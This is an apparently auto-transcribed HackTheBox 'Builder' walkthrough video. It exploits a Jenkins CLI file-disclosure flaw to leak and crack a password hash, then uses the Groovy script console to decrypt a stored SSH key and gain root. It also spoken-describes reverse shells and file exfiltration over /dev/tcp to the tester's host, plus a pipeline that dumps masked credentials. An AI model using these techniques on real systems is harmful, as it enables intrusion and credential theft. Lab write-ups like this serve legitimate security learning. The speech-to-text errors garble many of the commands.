text: what's going on YouTube this is ipack I'm doing Builder from hack the box which is a non-competitive release that Focus around the latest Jenkins vulnerability in the command line interface and it is a file disclosure of vulnerability we'll abuse this in order to leak a hash password of a user crack it and then use that to log into Jenkins some basic configuration was done to enable cicd pipelines and that configuration was pretty much configuring the runner which executes code and storing a SSH private key in the Jenkins credential object first we'll just use use groovy to decrypt it and get the SSH key which then lets us get to rout but you don't really learn all that much on exactly what a cicd pipeline is by doing it that way so we'll also create some malicious cicd pipelines to leak the keys so you can understand exactly how it's used and learn a little bit more about that so

title: HackTheBox - Builder


text: with all that being said let's just jump in as always we're going to start off with an end map so- SCC for default scripts SV enumerate versions OA output all formats put in the end map directory and call it builder then the IP address address of 10 10 1110 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and its Banner tells it is auntu server we also have HTTP on port 8080 its Banner tells us it's Jetty which is like a Java web server it's version 1018 but the title tells us it's a Jenkins box so let's go take a look at the web server so I'm going to go to 10 10 111 on Port 88 0 and we get the welcome to Jenkins thing and Jenkins is really helpful it's telling us the version right here at 2441 if we Google this like just 2441 the second result currently is the

title: HackTheBox - Builder


text: security advisory from January 24th so if we look at the security advisory it's going to say the Jenkins has a built-in command line interface the CLI to access Jenkins from a script or shell environment it uses the args forj library to purse commands and the command parser has a feature that replaces at character followed by a file path in the argument with the file contents so this essentially enables us um the ability to read files off the server so let's go take a look at the command line interface to see how to exactly access this and it does have a downloading the client and it says uh the client can be downloaded um here it is at the Junkin URL than jnlp jars / Jenkin CLI so let's take a look at this I'm going to W get 1010110 P 8080 and then we're going to run this jar so Java djar jenin

title: HackTheBox - Builder


text: CLI and looking at this let's see we want- s and then URL so I'm guessing s stands for Server we can see the first option right here the server URL so let's do- s http 101011 10 P 8080 and if we gave it a command like something that doesn't exist it's going to say no such command and based upon the description of the cve um my first thought when it says this no such command is the server responded with no command and then our c. jar put this um string in that's not what happens right the server is responding with this entire string so it's kind of like a service side template injection but not kind of um if we put in a file path here at see pass WD the cve says it's going to process this but it's going to treat it as a file and give us the contents back and we got no such command like this so maybe the ciger is doing exactly what we

title: HackTheBox - Builder


text: think this way um I'm going to do a pseudo wire shark and let's just inspect this real quick because I'm curious um the answer is we have to run a command right so if we took any of the commands if I just ran a-h um or help let's I think help actually sends it to the server so if we do help at Z passwd we do get a line out of it right so let's look at ton zero real quick and I want to run the first thing ASD DSA so if we look at this we go here um where's follow TCP stream and the server does respond with that whole string so my first thought is when we did that help did the server respond with the entire file and then our um jenin C Elijah just showed us the first line or did the server respond with just the one line right so let's do this again I'm going to continue without saving going to run this we're going to follow the stream

title: HackTheBox - Builder


text: again uh that's not what we want let's exit this I want to do TCP and we only get one line of this if we kept reading the cve um I don't think it specifically says different commands can give different amounts of line right here it's saying attack is with overall read permission can read entire files without that permission we can only read the first few lines it does say lines and help only got one if we tried other commands um like connect D node is another command we'll see we get more data back so how do we find connect node um I didn't find much information online uh oxd F and I were playing with this a little bit and I think the easiest way is kind of just script it out um I'm going to use a lot of ugly bash food to do this right so what I want to do first is run that jenin CLI so let's do this again and if I say help we're going to

title: HackTheBox - Builder


text: get a list of everything so what I want is just get every command here so I'm going to do a Al command and then a little known feature of a it can also do GP so I'm going to do um search for a slash and then like this is going to say regular Express I'm going to do two spes and then A to Z for character and if we do this uh we just get everything there because a lot of times help actually writes to standard error so we're only doing a against standard out we want to pipe standard Arrow to standard out like that and now the alt command will work right so the next thing we want to do is a print on the first match and that will just get us this text it's not by default the um separators a space I believe so or a tab so now we have just a list of commands so what we can do next is pipe that over to a while read and then we put the

title: HackTheBox - Builder


text: variable we want I'm going to do CMD and then we say do Echo CMD like that done and I'll say IPC like this so you can kind of see what we're doing so we have a loop and now we have all the commands so here we can do another um Java djar jenin CLI and then we have the command and then I want to say SL Etsy passwd like that right that looks fine if I run this oh it's still doing Echo um let's get rid of the Echo and something really odd is going to happen uh well we have to specify the server so we'll do- s and this and now something odd is going to happen it stops after the very first thing and I can't really explain this if we do like an srace to see how it exits it doesn't really tell us much we got a few text thing here I don't know exactly what this means but something with this Java command is breaking out of our Loop and it is bizarre I'll show a way to

title: HackTheBox - Builder


text: bypass that in a second but if I just Echo this we get all the files there I'm going to pipe it to um we'll just say run. sh and then if I bash to run this we can see it keeps going so it's only breaking out of the loop not breaking out of the bash command altogether there we go we have a command with a lot of things now control see it this is also weird if I don't run into a file and I just do hey let's pipe this and after every line we execute bash right well it's still going to exit I can't explain that it is so weird but um you could also like pipe it to true so it never exits with anything other than zero and you hope that would work but it doesn't um it will exit after the first one xdf has a video specifically on this that goes over a lot more things that just fail the one thing I did find that works

title: HackTheBox - Builder


text: is if we go over and pipe this over or not pipe but run this with B sh and we just do this it's still going to um exit and even if we did like a pipe true here let's try that exit um after the bsh command pipe it over to true it still does that if we s Tred this we can see this sh will exit with zero which makes you think um or exited with three there wonder if I pipe it here if it will exit with zero not that it really matters yeah we can see it exit with zero but still only went one so what's the answer um it's not doing any of that true thing but if in been S8 we just background it it will work hopefully and I don't get hit with demo Gods there we go so I think it works because uh so much output well because we ceue up all the commands to run before the loop hits the second thing that's my guess at what happened there so that works um what we

title: HackTheBox - Builder


text: want to do now is get better output right so the way to do that is let's just say Echo dasn I'm going to do um actually instead of echo let's do print F and then we can say CMD and then back SLT for tab then we run this command and I just did the print F because it's easier to put the back SLT for tab in place so we're going to run this um we're going to have to say uh two01 like that and let's see what's the easiest way to wc- L this um wonder if we can just do it here because I want to get the line count I think this may work no that definitely did not contrl C oh well it kind of is it kind of worked so let's move the print F real real quick we'll do that do B- C I'll put the print F here CMD like that uh shoot do there we go that is not working as I expect it's kind of cool though we're

title: HackTheBox - Builder


text: getting all the lines um where are we screwing up I think I need to just make this into a script because putting this all in one line oh man that is confusing me so let's simplify it so we have this we while redo all okay then we can say done this doesn't really help me that much but hey let's see where did we mess up I wonder if we can do the print out here so we do CMD tab like that and then instead of putting the and there we will put it like that so now what I'm doing is I'm backgrounding this Jenkins command and then running the wc- L on the bin sh command instead of on the Java command itself I think that may still like leave this sh open while this is backgrounded and get me the lines I think um let's try this bash run and yes it does sweet sweet so that seemed to have fixed the problem so we got now every command that's running and then the number of lines that is

title: HackTheBox - Builder


text: outputed so we're just looking for the highest one and we see connect node 21 right there uh we also have like delete job delete node delete view I wouldn't recommend trying these I mean it may work but everything with delete disconnect like if something wrong happens I don't want to like cause an outage right connect seems to be a relative um safe word right import credentials is seven but you get the gist of exactly what we're doing here right and pretty fun bash scripting lesson uh offline node again that sounds dangerous online node probably safer um reload job that would probably be a safe one to do but let's just let this finish and then we can do connect node right actually let's just let it go um the next thing we want to do is figure out what file we can access on Jenkins and looking into Jenkins a lot in the past I

title: HackTheBox - Builder


text: know it's typically not like relying on a database or aw or things like that I think it can but the default is storing things by file and you have to understand all the Jenkins file paths and you can probably find enough research online but might as well just do a um Docker poll down to download Jenkins and you can just Google like install Jenkins Docker or something like that and get that command but I don't think it's a stretch to just remember oh I want to pull from the Jenkins repository and the Jenkins Docker right and the reason why I love Docker so much is it's going to let me replicate the environment really fast um like we can install Jenkin without looking at any install structions I can just do a um Docker run I'll say RM so it deletes this container after it runs it uh we want to do DD for detach and then Jenkins Jenkins I want to say there we

title: HackTheBox - Builder


text: go so now we're running the container and if I do a Docker logs D4 CD I just grabbed the first four out of that hash we can see it's set up um I forgot to map the port 8080 to my local host but we can still access the docker through its Docker IP um the initial password is here so maybe the first thing I would try is um let's see connect node to see if this initial password thing exists still and it says uh no such file U another thing you could test out is like seeing if you can read directories you can't so let's do a um Docker inspect so if we do Docker inspect on this container if I type it correctly we can see it's IP is 17272 so I can just go here and then we want to get the um initial password of this and then let's just set up Jenkins real quick so let's just install suggested plugins and it's going to go

title: HackTheBox - Builder


text: ahead and download everything to set it up and once it has set up we can probably drop into a Shell let's see is there anything else I want to talk about while it does that I don't think so what was the last command I ran um I guess if it was in a non-standard location you could like go in the proc self Environ and this will um show where it's running out of probably so we can see the host name this is going to be a Docker container uh that's the Jenkins update repo there is the home directory right there home directory ver Jenkins home so we can see a lot of information there it is still downloading but almost done so once it finishes it'll take us to the next step I probably shouldn't have bothered installing plugins because it just takes a little bit of time but I think we are good come on the last

title: HackTheBox - Builder


text: 0% is always the longest so let's create a username I'm going to do ipac the password of password and then we'll give it a email address of root at ic. rocks save and continue yep and we can start using Jenkins so ours looks very similar except we have a slightly higher version if you wanted to you could look at the docker pole command to specify the 2441 version but we don't have to worry about that um I'm going to do Docker PS so let's do Docker exec um it interactive terminal D4 CD again you just to give the partial of the hash and I think you need four characters maybe it's three I like doing four and then I'm just going to execute sh and now we're in this Docker so I'm going to do a find dot Dame ipac which is my user um nothing here let's see let's do find Dot and I'm going to give it wild cards and there we can see my user name

title: HackTheBox - Builder


text: is ver Jenkins home users so if we looked in here so this is where Jenkins installed uh we just have a bunch of things there is a secret key which we could also use I think this key is going to be used to encrypt various strings um but the home it was in what users and there's IPC so if I do IPC here we have a config.xml if I cat this we see there is a password hash and it's uh JB Crypt so probably probably Java a bcrypt because this looks like a bcrypt hash so this probably exists on the server now the directory is IPC and then this random character right we have to figure out how we can find this directory well up one in this users directory there is a users. XML and if I C that it says IPC is here so we have a way to look at the users install in the box and also grab the hash let's make sure we can crack this so I'm going to

title: HackTheBox - Builder


text: go over to the Kraken which is just a box on my network um I don't like cracking hashes in the same computer I'm doing recording on because cracking CPU intensive right so I'm going to create a word list um hashes not word list and I'll call this Jenkins put it here and let's just see if it can crack it right um let's see we specify the hash file and then wordless it's been a while since I've cracked anything but it should autod detect this as bcrypt and then attempt to crack it and the reason why I'm doing my password first because I know my password is just um password so this will definitely crack if we have the right option so let's try 3200 because we don't have any salt or anything like that um if I wanted to be even faster I can make a word list of just the word password and then try to

title: HackTheBox - Builder


text: crack it that way because it won't try anything other than that one thing so now that it's running we see it recovered one out of one so we have a successful crack so let's go back to the server and we want to um do this let's see I guess we can just say Java jar Jenkins C- s HTTP 10 10 11 10 8080 connect node and then we want to go um rock self andiron what was the directory uh we have to specify at like that and it is VAR Jenkins home so VAR Jenkins uncore home and get rid of wire shark and then users was it users. XML or user. XML users users.

title: HackTheBox - Builder


text: XML so we read this file and let's see we have genifer and this directory so if I go into users and then go here let's go users IPC and it's config.xml we can read her file and we see we have the password hash right here so I'm going to grab this I'm going to go back over to the Kraken V hashes Jenkins I'm going to throw in this hash now and attempt to crack this again and should start much quicker because I think it's got all the um driver's cast or whatever it does at first so come on it's going to initialize and start cracking it shouldn't take too long to crack it there we go recovered two out of two I could scroll up or I can just say is it D- show yep we can see the password is Princess so the Jennifer username we know it's Jennifer because it says it there the password is um princess so

title: HackTheBox - Builder


text: let's make sure we go to the servers um thing 10111 not our local Jenkins right and we can log in with Jennifer and then princess and here we go we're inside of Jenkins now so the first thing I would do is go over to manage Jenkins if we looked at like the plugins installed let's see uh system tools plugins we can see what's enabled potentially installed so bouncy castle I think that's SSL stuff credentials there's a lot um let's just go look around the first thing I would ever do on a jenin instance and I guess we can show that real quick um you don't have to do it here but if you go to the bottom there is a script console and this is groovy um you can just get command execution right here here so if we did um print line and then what is the next thing I think it's the command we'll say who am I and then we just say um execute and then we want the text out of

title: HackTheBox - Builder


text: that and then we run this and you have command execution right we're Jenkins um if we did lsla we can see it is indeed a docent environment we can get a shell here as well but there's other things you can look at before you do that um so if we go back into manage jenin a really good thing now with all the hype of cicd pipelines is looking at the credentials and we can see there is a um Global credential let's see I clicked the wrong thing system maybe I clicked the right thing go here Global credential there we go we have SSH username with private key rout if I click this and go to update we can see the key is concealed for confidentiality but we can do the super hacker thing and view source and then I look right here and we can see we got the key right here now it is going to be encrypted um I think I got everything yep I'll just contr X so I cut it I just

title: HackTheBox - Builder


text: want to make sure there weren't like other characters there that's why I use cut instead of copy but I've copied the key out of this private key variable and again um if they didn't do this I mean we have code execution on this groovy thing it's stored in files so I'm sure we could just get a reverse shell and find that file right but if we look at this file uh let's say cred dot stuff or we'll say b64 paste it let's get rid of the curly braces b 64- d on this and it's junk um it is encrypted probably with that secret key we saw earlier but if you went and did any Googling you discover there is of course a Jenkins library that lets you decrypt it um and that command is executable via groovy scripting language so we can just call the Jenkins decrypt function which is is um Hudson util secret with a

title: HackTheBox - Builder


text: capital S decrypt and then give it the secret and we want to do the second parentheses because we're in print and we're in the decrypt we run this and here we go we have the SSH key so we could just grab it this way so if I do now uh V key. ID RSA maybe paste chod 600 sh- I the name was root so I'm going to try root 10 10 11 10 let's accept this and we're in boom that is the rout um I forgot one thing early on in this box if I was trying to go for like Bloods or things like that soon as I saw the um proc self Environ when I had this file read I would have targeted user. text here so if I went Verge home so we can copy that maybe we can say user. text and we get the flag there for user um there's other things we could be showing let's see I'm going to get a shell in this box and let's see if that was actually

title: HackTheBox - Builder


text: um where it exists on a file right so I already have the credit in a Bas 64 so let's let's do B- C b-i Dev TCP 1010 14 8 Z and one like that boom do execute and we don't I guess we can do text we don't need it because we don't care about the text output but that should be fine let's make sure we're listening run we don't have a shell 101 148 that is my IP did not like all this redirection or maybe it doesn't have fash on the container let's see run no let's uh which bash it's got bash wonder if it doesn't like all the pipes let's see eo-n b-i Dev TCP 10 10 148 9,1 Z and one base 64 let's get rid of special characters I don't think we have to but I think if I do that and that another one there there we go pure alpha numeric I hate having any special characters in that Echo b 64- d bash run is there execute command

title: HackTheBox - Builder


text: wrong no bizarre C 10 10 148 90001 okay that works let's see- o temp shell.

title: HackTheBox - Builder


text: sh make dub dubdub v shell sh f c --i Dev TCP 101048 901 that that looks good Python 3 HTTP server okay so now we're going to download cell.sh and then I'm going to execute it afterwards so we have it downloading I should just be able to do bash shell. sh run there we go we got a shell so it did not like special characters it probably didn't like the pipe in that command so that's a way around that right uh python 3- Z import PTY PTY spawn b bash uh shoot script dasq is it Dev null bash there we script bash is it- O devnull bash let's just do script bash permission denied there we go uh so now I can do stty raw minus Echo and I should have tab auto complete and stuff maybe not no I do sweet export term equal x term it's not the best because um my output of every command I'm being ran is now on this server there are flags you can do in the script command but I forgot them off the top my head so

title: HackTheBox - Builder


text: we'll just run with it uh we want to go to ver Jenkins home and I wanted to grab that one thing is it credentials. XML is that really it is it going to be that easy it is sweet we didn't have to grip it um that's where that file is so if you just read credentials. XML there's a chance of us grabbing the key but maybe we don't have enough buffer to actually read that with connect node um Java jar Jenkin CLI 10 10 11 10 connect node and then ver LS home credentials. XML we give it the at so it reads that that didn't work because we didn't specify port 8080 it does read the whole private key so I'm sure there's a way we could decrypt it without ever logging in right let's say maybe we couldn't crack Jennifer's password this is an alternative way i' look at grabbing the key and then looking at that secret and

title: HackTheBox - Builder


text: then decrypting it locally um I'm thinking wonder if we could easily do that try and think of some easy way to do this uh I'm gonna try something no I'm not uh I was like I could just download this file then run it locally but it's going to be a bit tough to do that let's see I bet I can do this so I'm going to Docker kill D4 CD it sucks because I told this Docker to delete itself after it runs right so we no longer have that container sad day um let's do docar run-it uh well yeah we can just do Docker run Jenkins Jenkins you want to make sure it's dasde there we go Docker compose logs 178d we not Inc compose Docker logs there we go we have the initial password let's set this up again and then while it's setting up I can show um a different way we could have n I'll just pause the video when it sets

title: HackTheBox - Builder


text: up so we just do one thing at once J is running put in the password install I shouldn't have selected that I'm going to pause the video we'll resume when this is done okay so now I can just give the name let's do ipac uh password password hipac rout at hips. rocks save and continue save and finish so now we have Jenkins um I did that so now can stop this container or before we stop it let's do Docker runit 178 dsh um Docker exact is what I want and then ver Jenkins home V credentials do or we want secret.

title: HackTheBox - Builder


text: key um apt install F cat secret. key so the only thing in this file is the key so we can just overwrite this so let's go back here and we want to go and extract secret key I didn't specify 8080 in this command so if I copy this and then we Echo this string over top of secret key then we're going to stop and restart this container so it restarts Jenkins so we do Docker stop uh 178 was it there we go uh do run 178 shoot how do I Docker ps- a Docker run 178d see if I just say Jenkins Jenkins is it going to start a new container it did I don't want that b225 let's see doc start container by ID let's see Docker run- DTI tried that I thought Docker run di this colon Jenkins something is wrong Docker exact no maybe it's restart there we go that's it restart so now we have the Jenkins container running and

title: HackTheBox - Builder


text: this has our secret key that we just put off the server right so if I log in here let's log in with IPC password and then once we're logged in we can go to uh manage Jenkins or I could just type SL script at the top because that's the URL for it or we can go to script console and now let us grab the private key from this V key. Crypt I guess I'll call it paste cat this um xclip selection primary that's not it clip board sweet so now we want to do the um print line then Hudson util secret decrypt run and it still did not decrypt it that's a shame so we did not get the right secret I guess um doar run it 178d sh dock exec is what I wanted ver Jenkins home secret. key BC oh hold on a second cat secret key there's no line break there's a line break here I wonder if it read the back sln um so let's do

title: HackTheBox - Builder


text: Echo DN to se secret.

title: HackTheBox - Builder


text: key there we go that looks better so we got rid of the line break I bet we have to restart Jenkins right we can't just do run so let's do the restart command again now when I run this SP want me to log in again or something uh no Val whoa that was a weird error okay yep once is to again IPC password don't save there we go still did not decrypt it so that's not where um it stores that it ends in 5B let's just make sure yep that is it so how does it store this I guess we could make sure command is right yes it is so if our secret was correct where it's ever pulling from we would be able to decrypt it because on the server it's that on a local host it's not let's just try Googling this and does anyone have anything how it works a script for decrypting it this will probably tell us all the files we need so credentials. XML Secrets master.

title: HackTheBox - Builder


text: key we don't have this one so so we grab this key and we could also get this through the um file disclosure vulnerability but I've already proven that I think so this will just be quicker um CD Secrets then Echo dasn to master key and then we wanted to grab also cat Secrets then the Hudson o that'll actually be hard to grab because that's not B 64 or not like printable there's a lot of characters there that I probably just can't read right so maybe you won't be able to grab this this will be interesting um let's try this uh ver Jenkins Home Secrets Hudson util secret yeah it's really questioning like can I grab all these characters let's see I'm going to paste this go to xxd man this is going to be tougher than I expected um we pipe that to xxd No Such agent I think this is going to be how we have to grab it this is

title: HackTheBox - Builder


text: ugly um um wellow let's see we want to grab everything after agent I know easy way to do this or semi easy so we direct this to a file um secret I guess xxd is it- p to just put all the hex it is- RS it can do one line forget exactly how to do it one line but we won't worry about that right now um xxd DP we'll call it x man asky we want proba 22 or 34 42 is it 42 I don't think that's it what was it we want the hex 22 okay so we want to delete everything here and then here so what I did was I piped the output over to hex and then um what we did was deleted everything before and after the quote so now we just have a big hex string because the reason why we did that we get rid of this we wanted to grab the data between this so now I can cat hex then xxd r-p and we just get the string so we can say this is where is the file name we

title: HackTheBox - Builder


text: want um Hudson util secret okay so I'm going to do a Docker CP Hudson util Secret in 178d ver Jenkins Home Secrets boom that looks good F md5 sum Hudson util secret ACF ends in BB ACF ends in BB okay restart the container copy this we're going to have to log in again and this time we should be able to decrypt it and again if you're confused what we're doing um I just wanted to be able to decrypt this key without having to log into the Jenkins box right it's kind of like my Beyond root thinking um the only reason I was able to get code execution and decrypt it was I could crack password so I'm thinking if I couldn't crack Jennifer's password what would I do and it would be this input length must be oh we screwed something up right I wonder what we have screwed up that's looking more promising ver Jenkins home we probably have a line

title: HackTheBox - Builder


text: break where we shouldn't so md5 some secret key there 4 e231 md5 sum secret key for e231 the master key 5 b74 5 b74 ACF BB that's different that sucks huh I wonder where we screwed this up and an EQ like that j w k ours is completely different so I guess it's how we extracted it right um and why it kind of looks the same that is bizarre if I go here let's see where did we screw up Hudson util secret let's just copy it to Dev TCP 101048 91 and ncnp 901 server Hudson what say server.

title: HackTheBox - Builder


text: secret and again I haven't done this before the video so you're seeing me play with this live um you can probably just go to the end of the video if you want the solution I really am curious so let's xxd on we called it Hudson util secret and xxd SEC server secret like that oh it's going to be a pain to see it looks similar right we end in four y there's just some extra characters I believe maybe that if we split it the other way okay so 26 EF and they do 8 C so we do have some changes right off the bat 2479 2479 then 9 dd1 like something is just screwed up at the beginning so there's some characters I just guess it can't display which is a shame because I really thought this would work when I piped it over to xxd because there's no way if I just copy it like this it grabs all the characters no way and

title: HackTheBox - Builder


text: nope that didn't do it I don't know if there's a way we can grab this then which is actually good because if we can't grab this key then the exploit dead right um I highly doubt we can pipe this over to Bas 64 yeah we can't do that a good Basics D for the command right or we can just say pipe it to out V out let's say errors to out so this eliminated need for xxd I guess we did over complicate that one piece xxd out less we still have some characters I don't know where this bfbd comes from and then we got e FBF bd1 let's see yeah there's some characters that just gets clobbered like that 8C is not here so I think we're out of luck right I don't know if there's a way we can grab that but for curiosity sake if we did manage to grab this so we can do a Docker CP this into a container 178d was it ver Jenkins Home

title: HackTheBox - Builder


text: Secrets Hudson util secret is that it I think that was it we can do a restart we'll have to log in again and hopefully after we have this one secret thing we can um Crypt it we can run and there we go that is the missing piece so do find out a better way to xfill this file through that um file disclosure don't know it but I'm sure maybe there's research out there for other ways we could go pull that file right so the last thing I want to try real quick is just intercepting this in burp Suite um mainly because maybe the Jenkin CI tool is doing something weird with the text when it's trying to display to me so if I can see it on the wire I can then compare it to see um what it looks like right so if we run the same command and this time I'm going to go in the Java I'm going to do- D HTTP proxy host is equal to

title: HackTheBox - Builder


text: 1271 and then we also have to specify the uh proxy port which is 8080 this will send it over to burp suite and then we can run through each of the request we see it's going to websocket we have it now requesting the file if I go to websocket history we hopefully see the response I don't there we go here's the response um let's see how do we if I send this over to repeater is a quick way to show this in HEX um oh here it is and let's see it begins right here 26 EF I think this bfbd that was not in what I'm expecting um xxd this head-1 yeah I see 26 8C then 2479 we have 26 and that does some weird encoding thing so we have to figure out the encoding issue where it's doing all of this um I'm guessing it's just like some weird bite that's getting translated because we keep seeing this BFB D not sure exactly what it is but I

title: HackTheBox - Builder


text: don't know how to fix that maybe we could try other methods maybe connect node isn't a good one we could do maybe um was it reload job is another one we could see exactly how that behaves if that looks the same I want to say it was reload job we run this let's go back over to proxy on Raw reload send the file send all those parameters this looks pretty much the same yeah we have bfbd so not sure what's going on there let's just go over to the Jenkins Pipeline and you want to make sure this build executor status is Idle idle if there's an error here this next step won't work um but most Jenkins you'll see it uh let's go to new item pipeline I'm going to create a pipeline called IPC and then just give it a description and here we have the pipeline script so if we just went like um Jenkins example

title: HackTheBox - Builder


text: pipeline SSH can probably find a quick example here uh how do I use the Jenkins SSH Pipeline and it kind of gives an example here see is there a better one I think we'll have to do a little more than this but we can try this real quick we got stage deploy the credentials I'm just going to say pull the very first credentials and to do that we can say credentials one like that and then we want to say root at 10 10 11 10 as the IP and I'm going to say catroot SSH ID Orsa like that we can get rid of these commands if I do save will this actually start deploying see I'm going to click build now uh failed we see that I'm trying to get why it failed console output uh let's see expecting found okay so we have an error in our pipeline uh dashboards ipac let's edit this pipeline real quick where is it pipeline

title: HackTheBox - Builder


text: syntax that's not what we want configure okay let's see I don't know what I was doing there there we go so that looks better save build build scheduled this one failed as well let's see what does this say output no such method steps so if we went in the Jenkins documentation we'd see the um full pipeline thing I'm just going to delete build to H I don't feel like clicking confirm let's get back here so this is just kind of the heart right before you have the stage you have to specify pipeline so we can say pipeline and then say run this on any agent and then we can do that and I think that's all we need so we have pipeline uh we probably need to say stage because you can have multiple stages this is like deploying you can have like a test stage things like that so pipeline stages stage steps the

title: HackTheBox - Builder


text: SS agent plugin save that build and this will be running code on the Jenkins box we see it is complete so if we go to build three and look at the output we will see our SSH key there it is so we're not using like we're not dumping the decrypted key in Jenkins what we're doing is using that decrypted key then sshing to a box and um grabbing it because on the box it is also decrypted I bet we could do something cute like um let's see if we go back to configure let's see see I wonder if we can assign a variable see Jenkins pipeline assign variable and print see I wonder if I just printed it steps I do a print credentials one like this is this going to work there's probably some way you can do this just in case like you can't access something and you want to get the um Runner theyve tried print print line

title: HackTheBox - Builder


text: should be print line space server like that did they say semicolon they don't let's try this build now it says complete and success go to console output See Echo we just printed that so that did not do what I expected um there's got to be a way to do this maybe it's like this build I'm guessing this is going to fail it did so I think I'm going to do a little more research if not that's going to conclude the video hope you guys enjoyed it but we'll see if I go on and figure out the solution off recording okay so you can see I'm now at build 24 it took me a while to figure this out but I'm glad I did because I understand Jenkins pipelines a lot more than before I started right um to get started I'm going to just open a file this is similar to the pipeline um the mistake I was making kind of is treating this as a

title: HackTheBox - Builder


text: variable but really SSH agent is a plugin and that plugin is running a command and is just taking this as a variable and going to the first credential if you Google around you can see SSH agent in order to pull that credential is really doing something like this it's using this with credentials thing um and when I first read this post I was confused like because we have with credentials and it's saying username password but if we went to like Jenkins with credentials and looked at it we got the credentials binding plugin and let's see it gives examples of other things so we have like a git username password there's a um SSH user private key you can see the variables you have credential ID key variable and this was like my key to understanding what happened so let's look at my Pipeline and this is going to be the working one I do want to show um one thing because because the first thing I

title: HackTheBox - Builder


text: tried let me copy this on my clipboard so I don't lose it um paste nope not that there we go definitely don't want to lose this so what we have is we're going to the deploy stage we're running the script we're going to set the key VAR to null then we're going to run the with credential we're going to capture the key VAR and then Echo it right and the whole reason I'm doing this is because when we're in this with credential Block it's going to sanitize things right so if I tried just a um let's do Echo SSH key so how this is working is we do with credential we're saying the SSH private key credential id1 if I went into Jenkins um manage Jenkins we've seen this before go to credentials this is the ID I want to capture ID one right so that's where I got that and then we're outputting that credential to this key um file

title: HackTheBox - Builder


text: variable okay so if I save this and run it it's going to complete but it's not going to complete how I want it to so if I build this we have this um there we go a secret is passed to Echo using groovy string which is insecure uh masking so I think it masked the value here and also gave us a warning so my next step was okay I'm going to do what that one stack Overflow said and pass this SSH key to the key ver and then print it out so we're not inside of this with credential and my logic is hopefully um at that point the masking won't take effect right so I can do key is equal to this and then we can Echo uh key VAR like that then when we save build I'm pretty sure it's going to complete but I'm not going to get the key so I have this success console output and we can see it printed this string so at that point I wanted to I

title: HackTheBox - Builder


text: ran this a few times and saw this uu ID always changed so I couldn't just like use the lfi or not l the file disclosure to grab that file so my thought was okay let's just put a cat command there right so we go back to the pipeline we can say um I want to say sh cat like that uh we put cat in the quote I think this is what I did so that's running the shell command to cat the file and that's running it on the runner so we're not making that SSH connection and we have a failure what is this failure it's probably going to be file not found hopefully as long as I did that correctly um yeah no such file directory because this uid is changing so what happened here let's get back to the pipeline configure because genkins is trying to do this securely right so we're in this with credentials object the SSH key variable this is pointed towards a file

title: HackTheBox - Builder


text: and we export it and then when we leave this with credential um function or method whatever you want to call it it deleted the file so now when we tried to cat it we could not right so then I moved the sh command up here so we could say keyer is equal to cat SSH key and then if we Echo key ver like that save build it should be completed and we'll actually get the key so we have a warning here it's saying you did something really dangerous and stupid but if we go to console output it still lets us see it it still ran it and the masking did not take effect so that's how you could do this pipeline if you couldn't just SSH to a box maybe um they up you using actual user credentials and they updated the credentials so those didn't work but you still wanted the old ones you could print it out doing something like this right so that is a bit of pipelines hope

title: HackTheBox - Builder


text: you guys enjoyed it take care and I will see you all next time

title: HackTheBox - Builder